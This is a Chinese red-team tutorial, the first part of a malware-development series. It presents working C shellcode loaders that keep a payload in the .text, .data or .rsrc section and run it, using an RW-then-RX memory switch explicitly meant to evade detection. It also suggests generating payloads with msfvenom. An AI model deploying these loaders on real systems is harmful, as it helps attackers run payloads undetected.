恶意程序开发技术在红队技术中既是重点也是难点,学会恶意程序开发首先有利于对操作系统底层机制的进一步了解,其次也有助于对免杀程序的研究,以及对恶意脚本的逆向分析等。本系列将由简至繁介绍恶意程序开发中的相关技术,力求细致且便于复现学习。本篇介绍一些前置知识和payload载入点,分别为text段、data段和rsrc段三处。作者才疏学浅有错误望指出~
0x01 初识PE
PE(Protable Executable)
是Win32平台的标准可执行文件格式
.exe (executable)
文件是一个独立程序,无需依附其他程序,可以直接加载至内存中
.dll (Dynamic-link library)
动态链接库,不能独立存在于内存中,只用程序调用dll中的函数时,dll才会以模块的形式加载至指定进程中
生成一个PE文件通常需要两部分:
- 源代码
- 编译器
是个程序,因为底层只识别机器语言,用于将高级语言转机器语言
创建exe文件
首先介绍个简单的例子:编写生成exe文件,c源代码如下
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
// 打印字符
printf("First PE file\n");
// 等待输入
getchar();
return 0;
}
使用cl.exe
编译器进行编译,编译命令如下
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
参数浅析:
@ECHO OFF 不输出消息
/nologo 取消显示登录版权标志
/Ox 使用最大优化
/MT 使用 LIBCMT.lib 创建多线程可执行文件
/W0 设置警告等级为0(默认为1)
/GS-关闭缓冲区安全检查
/DNDEBUG不生成调试信息
/Tc 指定源文件
/link 传递链接器选项
/OUT指定输出文件名
/SUBSYSTEM 指定子系统
/MACHINE指定架构
编译完成后执行文件,好吧第一个例子就是这么简单~
查看exe文件信息
使用Process Hacker工具研究implant.exe进程基本属性,双击该进程查看详细信息。
General选项卡显示该进程的基本信息,如文件地址、文件类型等
Modules选项卡显示该进程加载至内存中所包含的所有dll文件
Memory选项卡显示了该进程的内存布局
更详细的信息将在之后的项目中逐渐分析
创建DLL文件
动态链接库(Dynamic-Link Library, DLL)也是PE格式的二进制文件,存放的是各类程序的函数。下面例子是简单生成dll文件的cpp源代码:
很明显不同的是,DLL文件入口函数为DllMain。当静态链接时,或动态链接时调用LoadLibrary和FreeLibrary都会调用DllMain函数。其次在DLL中,需要指定导出的符号(函数),可以由__declspec(dllexport)
关键字指定。在C++中,如果导出函数符合C语言的符号修饰规范,则需要在其定义前加上extern C
,防止C++编译器进行符号修饰。
#include <Windows.h>
#pragma comment (lib, "user32.lib")
// DllMain是DLL的标准入口点
// 参数fdwReason指明了系统调用Dll的原因
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
// 不同调用情况执行不同行为
switch (fdwReason) {
case DLL_PROCESS_ATTACH:// DLL初次映射至内存空间中
case DLL_PROCESS_DETACH:// DLL解除映射情况
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// 外部函数,可以由进程调用
extern "C" {
// 定义test函数
__declspec(dllexport) BOOL WINAPI test(void) {
// 弹出提示窗口
MessageBox(
NULL,
"spider",
"man",
MB_OK
);
return TRUE;
}
}
除了使用
__declspec
关键字指定导入导出符号之外,还可以使用.def
文件声明导入导出符号。.def
文件是链接脚本文件,用于控制链接过程。.def
文件的使用将在后面的篇章中提及
通过cl.exe编译出dll文件,编译命令略有不同:
cl.exe /D_USRDLL /D_WINDLL implantDLL.cpp /MT /link /DLL /OUT:first.dll
查看DLL信息
使用dumpbin命令行工具查看DLL文件基本信息
dumpbin /exports first.dll
/exports:导出dll文件所有信息
由于DLL文件不能独立执行,若要执行一个DLL就需要将其植入到一个进程中。
这里我们可以借助Windows中rundll32程序,调用DLL中的函数。例如要调用刚刚生成的first.dll文件中的test函数,使用如下命令:
rundll32 first.dll,test
通过ProcessHacker工具,可以在rundll32.exe程序的Memory和Modules中找到first.dll文件
双击可以查看first.dll文件详细信息
PE-bear
除了上述工具外,还可以结合PE-bear工具分析exe文件,进一步熟悉PE结构
选择打开calc.exe文件,位置:C:\Windows\System32\calc.exe
左边一栏显示文件的结构信息,可以很明显的看到头部信息(Headers)和段信息(Sections)
右边则是Header和Sections更详细的信息,例如查看段的头部信息(选择Section Header)
再如Resources,里面包含整个文件的资源信息(图标、版本、清单文件)
.reloc
段,包含重定位信息,用于Windows加载器对可执行文件进行地址修正
关于段,主要关注这三个重要的段.text
、.data
、.rsrc
此外,还可以使用dumpbin工具查看PE文件元数据信息
dumpbin /headers C:\Windows\system32\calc.exe
/headers:显示文件和每个段的头部信息
0x02 Payload存储位置
这里解释下shellcode和payload的区别,shellcode指的是获取得到shell一段代码,而payload指代就比较广泛,不仅仅包含shellcode,还包含触发其他行为的操作(如打开calc计算机程序),在本系列文章中,可能没有那么精确,就默认shellcode约等于payload,暂时不纠结那么多。
payload载入内存中一般存储于三处位置,.text
段、.data
段、.rsrc
段
Dropper指的是发送载荷给目标机器并执行的装置
.text段存储payload
在内存中运行payload需要几件事情:开辟内存缓冲区,复制payload到缓冲区,执行缓冲区
1 开辟内存缓冲区
Win32API中提供了VirtualAlloc()
函数VirtualAlloc | Microsoft Docs,用于动态分配内存,声明如下:
LPVOID VirtualAlloc(
LPVOID lpAddress, // 区域起始地址
SIZE_T dwSize, // 分配区域容量
DWORD flAllocationType,// 分配区域类型
DWORD flProtect// 分配区域权限
);
- lpAddress指定分配区域的起始地址,设置为NULL表示由系统决定
- dwSize指定分配区域的容量大小
- flAllocationType指定分配内存的类型,主要是这两个MEM_COMMIT | MEM_RESERVE
这里要知道保留和占有内存的含义。当内存放保留(RESERVE)时,一段连续虚拟地址空间被留出,只是分配了。当内存立马被使用时,需要指定为占用(COMMIT)状态。 - flProtect指定内存保护措施(权限),
本例调用如下:
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
2 拷贝payload至新缓冲区
Win32API中提供了RtlMoveMemory()
函数,RtlMoveMemory | Microsoft Docs 用于将源内存块的内容复制到目标内存块,声明如下:
VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
VOID UNALIGNED *Source,
SIZE_T Length
);
- *Destination:指向源内存地址的指针
- *Source:指向目标内存地址的指针
- Length:拷贝内容大小
本例调用如下:
RtlMoveMemory(exec_mem, payload, payload_len);
3 修改内存权限
之所以不在初始开辟缓冲区时指定执行权限,主要为了绕过检测,同时具有可读可写可执行权限的缓冲区是十分可疑的,很容易被安全设备检测到。因此可以将其分为两步,先分配,在执行前修改执行权限。
Win32API中提供了VirtualProtect()
函数VirtualProtect | Microsoft Docs,用于修改已提交(COMMIT)页区域上的保护措施(权限),声明如下:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
- lpAddress指定起始地址
- dwSize指定修改内存区域的大小
- flNewProtect指定新的内存保护措施(权限),有这几种
- lpflOldProtect指定一块地址,保存之前的保护措施
本例调用如下:
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
4 创建线程执行payload
做好之前的准备工作后就可以开始创建线程执行payload了。
Win32API中提供了CreateThread()
函数CreateThread | Microsoft Docs ,创建一个线程,并在调用进程的虚拟地址空间内执行,返回一个句柄。声明如下:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
- lpThreadAttributes设置继承属性,设置为NULL表示返回的句柄不能被继承
- dwStackSize指定栈的初始大小,设置为0表示使用默认大小1MB
- lpStartAddress指向将待执行内存的指针
- lpParameter指向要传递给线程的变量的指针,设置为0表示没变量需要传递
- dwCreationFlags控制线程创建,设置为0表示马上创建
- lpThreadId指向接收线程标识符的变量的指针,设置为0表示不返回线程标识符
创建了线程后需要执行,Win32API提供了WaitForSingleObject()
函数WaitForSingleObject function (synchapi.h) - Win32 apps | Microsoft Docs 用于执行线程,声明如下:
DWORD WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);
- hHandle指定待执行的句柄
- dwMilliseconds指的是时间间隔,过后将执行指定线程
本例调用如下:
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
完整代码
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// shellcode代码
unsigned char payload[] = {
0x90, // NOP
0x90, // NOP
0xcc, // INT3
0xc3// RET
};
unsigned int payload_len = 4;
// 开辟内存缓冲区,分配可读可写权限
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 打印内存信息,用于调试分析
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
// 拷贝payload到新缓冲区
RtlMoveMemory(exec_mem, payload, payload_len);
// 赋予新缓冲区可执行权限
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\nHit me!\n");
getchar();
// 上述步骤都OK,执行payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
动态分析
这里使用简单的shellcode便于分析进程本身
使用cl.exe
编译cpp源码
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
执行implant.exe
,打印出内存地址信息
启动dbg进行调试,添加调试进程,选择File-Attach
,找到并选择implant进程。
将implant程序运行起来,按F9
或者右箭头
回到cmd窗口按回车运行下,dbg中程序已暂停,在程序代码窗口显示出了我们编写的shellcode
接着程序已经执行完了,我们现在的目标是找到shellcode的地址。选择Memory Map
窗口,右键查找字符串。
AddressData
000000B3BF4FF980 90 90 CC C3
000001BA8D520000 90 90 CC C3
00007FF644C3101E 90 90 CC C3
同之前打印出的调试信息一齐分析
payload addr : 0x000000B3BF4FF980
exec_mem addr: 0x000001BA8D520000
首先是第一处地址0x000000B3BF4FF980
,在Memory Map
中找到对应地址,查看相应的信息,是一块线程栈区,在Threads
窗口中也可以看到有一处线程被挂起了。
结合源代码,main函数会开辟栈区用于保存其局部变量,因此第一处地址指向main函数开辟的栈区空间
第二处地址0x000001BA8D520000
,其类型为私有内存空间,且初始权限为可读可写(RW),后面变为可读可执行(ER),恰好对应了源代码中的开辟缓冲区及修改执行权限。因此第二处地址指向新开辟的缓冲区空间
第三处地址0x00007FF644C3101E
,在Memory Map中很明显的可以看到其对应的是.text
段,即第三处地址指向shellcode注入至text段的地址空间
跟踪分析三个地址,找到对应信息。
.data段存储payload
源码大部分与.text段存储payload的类似,有一些不同:payload定义为全局变量,因此它将位于main函数之外
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 变化:payload定义为全局变量
unsigned char payload[] = {
0x90, // NOP
0x90, // NOP
0xcc, // INT3
0xc3// RET
};
unsigned int payload_len = 4;
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\nHit me!\n");
getchar();
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
cl.exe
工具编译后执行,在dbg将implant.exe打开,执行起来(和上一部分步骤相同)
搜索shellcode字符,存在两处地址,一处指向上面分析的新开辟的缓冲区,另一处指向data段。
.rsrc段存储payload
对于存储在.rsrc段的payload,程序运行时需要指定特定的API调用去获取资源信息以及提取出payload并执行,需要以下几个步骤:引入资源文件,提取payload,执行payload。
1 引入资源文件
Win32API中提供了FindResource()
函数FindResourceA | Microsoft Docs,用于找到指定资源所在位置,返回资源句柄。声明如下:
HRSRC FindResourceA(
HMODULE hModule,
LPCSTR lpName,
LPCSTR lpType
);
- hModule指向模块的句柄,设置为NULL表示该函数将搜索用于创建当前进程的模块。
- lpName资源名称
- lpType资源类型,有这几种 ,其中RT_RCDATA表示应用程序定义的资源(原始数据)
本例调用如下:
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
- MAKEINTRESOURCE将一个整数值转换为一种资源类型
2 提取出payload
LoadResource函数LoadResource | Microsoft Docs,返回句柄,用于获取内存中指定资源的第一个字节的指针。
HGLOBAL LoadResource(
HMODULE hModule,
HRSRC hResInfo
);
- hModule指向模块的句柄,设置为NULL表示该函数将搜索用于创建当前进程的模块。
- hResInfo指向已载入资源的句柄
本例调用如下:
resHandle = LoadResource(NULL, res);// 返回内存中指定资源的句柄
LockResource函数LockResource | Microsoft Docs,返回指针指向内存中的资源,声明如下:
LPVOID LockResource(
HGLOBAL hResData
);
本例调用如下:
payload = (char *) LockResource(resHandle); // 返回指向payload的指针
SizeofResource函数SizeofResource | Microsoft Docs返回指定资源的大小,声明如下:
DWORD SizeofResource(
HMODULE hModule,
HRSRC hResInfo
);
- hModule指向模块的句柄,设置为NULL表示该函数将搜索用于创建当前进程的模块。
- hResInfo指向已载入资源的句柄
本例调用如下:
payload_len = SizeofResource(NULL, res);// 返回payloal长度
3 执行payload
这一部分的代码同.text段中存储payload一致,前面有详细的分析
完整代码
这部分代码具有几点不同之处,payload没有直接给出,只作出了声明
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
unsigned char * payload;
unsigned int payload_len;
// 变化:从资源段中提取payload
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\nHit me!\n");
getchar();
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
编译过程
编译过程也与之前有所不同,需要用到三个工具:rc资源编译器、cvtres资源转换器、cl.exe编译器。
rc resources.rc
指令用于从resources.rc
文件中取出资源。
该文件内容同如下,指定预处理文件resources.h和定义变量FAVICON_ICO,类型为RCDATA,值为calc.ico
// resources.rc
#include "resources.h"
FAVICON_ICO RCDATA calc.ico
resources.h
文件内容如下,定义了变量FAVICON_ICO,值为100
#define FAVICON_ICO 100
calc.ico则是我们生成一个payload文件,可以通过msfvenom工具生成。
cvtres /MACHINE:x64 /OUT:resources.o resources.res
指令将res文件转换为objiect文件(用于后续的链接工作)cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o
将resources.o文件和源文件链接生成.exe文件
编译命令集合为bat批处理文件:
@ECHO OFF
rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o
动态分析
编译并执行,打开dbg调试该程序,分别查看以下两个地址,对应新开辟的缓冲区和.rsrc段
payload addr : 0x00007FF606652060
exec_mem addr: 0x00000226BAA80000
在Hex窗口查看shellcode内容,右键Go to-Expression
或Ctrl+G
,输入地址
用同样的方法在反汇编窗口查看shellcode,添加断点,run起来
接着在命令窗口中回车下,启动了cala.exe程序
- 本文作者: xigua
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1487
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!